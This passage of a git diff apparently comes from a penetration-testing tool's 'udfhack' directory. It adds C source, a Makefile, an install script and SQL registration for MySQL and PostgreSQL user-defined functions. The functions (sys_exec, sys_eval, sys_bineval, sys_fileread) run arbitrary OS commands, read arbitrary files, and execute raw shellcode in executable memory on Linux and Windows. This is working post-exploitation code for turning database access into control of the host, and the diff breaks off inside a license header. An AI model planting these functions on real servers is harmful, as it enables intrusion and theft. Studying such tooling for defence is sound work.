lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so'; diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile b/extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile new file mode 100644 index 000000000..4a9e428f1 --- /dev/null +++ b/extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile @@ -0,0 +1,16 @@ +LIBDIR=/tmp + +8.4: + gcc-4.2 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so + strip -sx lib_postgresqludf_sys.so + cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so + +8.3: + gcc-4.2 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so + strip -sx lib_postgresqludf_sys.so + cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so + +8.2: + gcc-4.2 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so + strip -sx lib_postgresqludf_sys.so + cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh b/extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh new file mode 100755 index 000000000..1d7530638 --- /dev/null +++ b/extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh @@ -0,0 +1,59 @@ +#!/bin/bash +# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions +# Copyright (C) 2009-2010 Bernardo Damele A. G. +# web: http://bernardodamele.blogspot.com/ +# email: bernardo.damele@gmail.com +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +# Adapt the following settings to your environment +USER="postgres" +PORT="5434" +VERSION="8.4" +#PORT="5433" +#VERSION="8.3" +#PORT="5432" +#VERSION="8.2" + +echo "Compiling the PostgreSQL UDF" +make ${VERSION} + +if test $? -ne 0; then + echo "ERROR: You need postgresql-server development software installed" + echo "to be able to compile this UDF, on Debian/Ubuntu just run:" + + if test "${VERSION}" == "8.2"; then + echo "apt-get install postgresql-server-dev-8.2" + elif test "${VERSION}" == "8.3"; then + echo "apt-get install postgresql-server-dev-8.3" + elif test "${VERSION}" == "8.4"; then + echo "apt-get install postgresql-server-dev-8.4" + fi + + exit 1 +else + echo "PostgreSQL UDF compiled successfully" +fi + +echo -e "\nPlease provide your PostgreSQL 'postgres' user's password" + +psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql + +if test $? -ne 0; then + echo "ERROR: unable to install the UDF" + exit 1 +else + echo "PostgreSQL UDF installed successfully" +fi diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c new file mode 100644 index 000000000..dc27adb88 --- /dev/null +++ b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c @@ -0,0 +1,275 @@ +/* + lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009-2010 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define _USE_32BIT_TIME_T +#define DLLEXP __declspec(dllexport) +#define BUILDING_DLL 1 +#else +#define DLLEXP +#include +#include +#include +#include +#endif + +#include +#include +#include +#include + +#include + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + +#ifdef PG_MODULE_MAGIC +PG_MODULE_MAGIC; +#endif + +char *text_ptr_to_char_ptr(text *arg) +{ + char *retVal; + int arg_size = VARSIZE(arg) - VARHDRSZ; + retVal = (char *)malloc(arg_size + 1); + + memcpy(retVal, VARDATA(arg), arg_size); + retVal[arg_size] = '\0'; + + return retVal; +} + +text *chr_ptr_to_text_ptr(char *arg) +{ + text *retVal; + + retVal = (text *)malloc(VARHDRSZ + strlen(arg)); +#ifdef SET_VARSIZE + SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); +#else + VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; +#endif + memcpy(VARDATA(retVal), arg, strlen(arg)); + + return retVal; +} + +PG_FUNCTION_INFO_V1(sys_exec); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + int32 result = 0; + char *command; + + command = text_ptr_to_char_ptr(argv0); + + /* + Only if you want to log + elog(NOTICE, "Command execution: %s", command); + */ + + result = system(command); + free(command); + + PG_FREE_IF_COPY(argv0, 0); + PG_RETURN_INT32(result); +} + +PG_FUNCTION_INFO_V1(sys_eval); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + char *command; + char *result; + FILE *pipe; + char *line; + int32 outlen, linelen; + + command = text_ptr_to_char_ptr(argv0); + + /* + Only if you want to log + elog(NOTICE, "Command evaluated: %s", command); + */ + + line = (char *)malloc(1024); + result = (char *)malloc(1); + outlen = 0; + + pipe = popen(command, "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = (char *)realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (*result) { + result[outlen-1] = 0x00; + } + + result_text = chr_ptr_to_text_ptr(result); + + PG_RETURN_POINTER(result_text); +} + +PG_FUNCTION_INFO_V1(sys_bineval); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +#undef fopen + +PG_FUNCTION_INFO_V1(sys_fileread); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 len; + int32 i, j; + char *filename; + char *result; + char *buffer; + char table[] = "0123456789ABCDEF"; + FILE *file; + + filename = text_ptr_to_char_ptr(argv0); + + file = fopen(filename, "rb"); + if (!file) + { + PG_RETURN_NULL(); + } + fseek(file, 0, SEEK_END); + len = ftell(file); + fseek(file, 0, SEEK_SET); + + buffer=(char *)malloc(len + 1); + if (!buffer) + { + fclose(file); + PG_RETURN_NULL(); + } + + fread(buffer, len, 1, file); + fclose(file); + + result = (char *)malloc(2*len + 1); + for (i=0, j=0; i> 4) & 0x0f]; + result[j++] = table[ buffer[i] & 0x0f]; + } + result[j] = '\0'; + + result_text = chr_ptr_to_text_ptr(result); + + free(result); + free(buffer); + free(filename); + + PG_RETURN_POINTER(result_text); +} diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql new file mode 100644 index 000000000..61cbb8c04 --- /dev/null +++ b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql @@ -0,0 +1,25 @@ +/* + lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009-2010 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln new file mode 100644 index 000000000..407951161 Binary files /dev/null and b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln differ diff --git a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c new file mode 100644 index 000000000..610d29171 --- /dev/null +++ b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c @@ -0,0 +1,564 @@ +/* + lib_mysqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2007 Roland Bouman + Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. + web: http://www.mysqludf.org/ + email: mysqludfs@gmail.com, bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define DLLEXP __declspec(dllexport) +#else +#define DLLEXP +#include +#include +#include +#endif + +#ifdef STANDARD +#include +#include +#include +#ifdef __WIN__ +typedef unsigned __int64 ulonglong; +typedef __int64 longlong; +#else +typedef unsigned long long ulonglong; +typedef long long longlong; +#endif /*__WIN__*/ +#else +#include +#include +#endif +#include +#include +#include +#include + +#include + +#ifdef HAVE_DLOPEN +#ifdef __cplusplus +extern "C" { +#endif + +#define LIBVERSION "lib_mysqludf_sys version 0.0.3" + +#ifdef __WIN__ +#define SETENV(name,value) SetEnvironmentVariable(name,value); +#else +#define SETENV(name,value) setenv(name,value,1); +#endif + +DLLEXP +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +); + +DLLEXP +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_get + * + * Gets the value of the specified environment variable. + */ +DLLEXP +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_get_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_set + * + * Sets the value of the environment variables. + * This function accepts a set of name/value pairs + * which are then set as environment variables. + * Use sys_get to retrieve the value of such a variable + */ +DLLEXP +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_set_deinit( + UDF_INIT *initid +); + +DLLEXP +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_exec + * + * executes the argument commandstring and returns its exit status. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_exec_deinit( + UDF_INIT *initid +); + +DLLEXP +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_eval + * + * executes the argument commandstring and returns its standard output. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_eval_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + + +#ifdef __cplusplus +} +#endif + +/** + * lib_mysqludf_sys_info + */ +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + my_bool status; + if(args->arg_count!=0){ + strcpy( + message + , "No arguments allowed (udf: lib_mysqludf_sys_info)" + ); + status = 1; + } else { + status = 0; + } + return status; +} + +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +){ +} + +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + strcpy(result,LIBVERSION); + *length = strlen(LIBVERSION); + return result; +} + +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count==1 + && args->arg_type[0]==STRING_RESULT){ + initid->maybe_null = 1; + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_get_deinit( + UDF_INIT *initid +){ +} + +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + char* value = getenv(args->args[0]); + if(value == NULL){ + *is_null = 1; + } else { + *length = strlen(value); + } + return value; +} + +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count!=2){ + strcpy( + message + , "Expected exactly two arguments" + ); + return 1; + } + if(args->arg_type[0]!=STRING_RESULT){ + strcpy( + message + , "Expected string type for name parameter" + ); + return 1; + } + args->arg_type[1]=STRING_RESULT; + if((initid->ptr=malloc( + args->lengths[0] + + 1 + + args->lengths[1] + + 1 + ))==NULL){ + strcpy( + message + , "Could not allocate memory" + ); + return 1; + } + return 0; +} + +void sys_set_deinit( + UDF_INIT *initid +){ + if (initid->ptr!=NULL){ + free(initid->ptr); + } +} + +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + char *name = initid->ptr; + char *value = name + args->lengths[0] + 1; + memcpy( + name + , args->args[0] + , args->lengths[0] + ); + *(name + args->lengths[0]) = '\0'; + memcpy( + value + , args->args[1] + , args->lengths[1] + ); + *(value + args->lengths[1]) = '\0'; + return SETENV(name,value); +} + +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_exec_deinit( + UDF_INIT *initid +){ +} + +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + return system(args->args[0]); +} + +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_eval_deinit( + UDF_INIT *initid +){ +} + +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + FILE *pipe; + char line[1024]; + unsigned long outlen, linelen; + + result = malloc(1); + outlen = 0; + + pipe = popen(args->args[0], "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (!(*result) || result == NULL) { + *is_null = 1; + } else { + result[outlen-1] = 0x00; + *length = strlen(result); + } + + return result; +} + +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} + +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + len = (size_t)strlen(args->args[0]); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN64) +void __exec_payload(LPVOID); + +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __exec_payload(lpParameter); + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + } + + return 0; +} +#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ \ No newline at end of file diff --git a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj old mode 100755 new mode 100644 similarity index 100% rename from extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj rename to extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj diff --git a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys.sln b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sln old mode 100755 new mode 100644 similarity index 100% rename from extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys.sln rename to extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sln diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c old mode 100755 new mode 100644 similarity index 83% rename from extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c rename to extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c index 9d2b31f67..09e9dccfd --- a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c @@ -46,6 +46,33 @@ DWORD WINAPI exec_payload(LPVOID lpParameter); PG_MODULE_MAGIC; #endif +char *text_ptr_to_char_ptr(text *arg) +{ + char *retVal; + int arg_size = VARSIZE(arg) - VARHDRSZ; + retVal = (char *)malloc(arg_size + 1); + + memcpy(retVal, VARDATA(arg), arg_size); + retVal[arg_size] = '\0'; + + return retVal; +} + +text *chr_ptr_to_text_ptr(char *arg) +{ + text *retVal; + + retVal = (text *)malloc(VARHDRSZ + strlen(arg)); +#ifdef SET_VARSIZE + SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); +#else + VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; +#endif + memcpy(VARDATA(retVal), arg, strlen(arg)); + + return retVal; +} + PG_FUNCTION_INFO_V1(sys_exec); #ifdef PGDLLIMPORT extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { @@ -53,15 +80,10 @@ extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; int32 result = 0; char *command; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; + command = text_ptr_to_char_ptr(argv0); /* Only if you want to log @@ -83,18 +105,13 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); text *result_text; - int32 argv0_size; char *command; char *result; FILE *pipe; char line[1024]; int32 outlen, linelen; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; + command = text_ptr_to_char_ptr(argv0); /* Only if you want to log @@ -119,13 +136,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { result[outlen-1] = 0x00; } - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); + result_text = chr_ptr_to_text_ptr(result); PG_RETURN_POINTER(result_text); } @@ -216,7 +227,6 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); text *result_text; - int32 argv0_size; int32 len; int32 i, j; char *filename; @@ -225,11 +235,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { char table[] = "0123456789ABCDEF"; FILE *file; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - filename = (char *)malloc(argv0_size + 1); - - memcpy(filename, VARDATA(argv0), argv0_size); - filename[argv0_size] = '\0'; + filename = text_ptr_to_char_ptr(argv0); file = fopen(filename, "rb"); if (!file) @@ -258,17 +264,11 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { } result[j] = '\0'; - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); + result_text = chr_ptr_to_text_ptr(result); free(result); free(buffer); free(filename); PG_RETURN_POINTER(result_text); -} +} \ No newline at end of file diff --git a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj old mode 100755 new mode 100644 similarity index 100% rename from extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj rename to extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj diff --git a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys.sln b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys.sln old mode 100755 new mode 100644 similarity index 71% rename from extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys.sln rename to extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys.sln index 8aee18c26..1d26abd5c Binary files a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys.sln and b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys.sln differ diff --git a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/__exec_payload.asm b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/__exec_payload.asm new file mode 100644 index 000000000..167e0ad34 --- /dev/null +++ b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/__exec_payload.asm @@ -0,0 +1,7 @@ +.CODE +__exec_payload PROC x:QWORD + mov rax, x + call QWORD PTR[rax] + ret +__exec_payload ENDP +END diff --git a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c new file mode 100644 index 000000000..610d29171 --- /dev/null +++ b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c @@ -0,0 +1,564 @@ +/* + lib_mysqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2007 Roland Bouman + Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. + web: http://www.mysqludf.org/ + email: mysqludfs@gmail.com, bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A 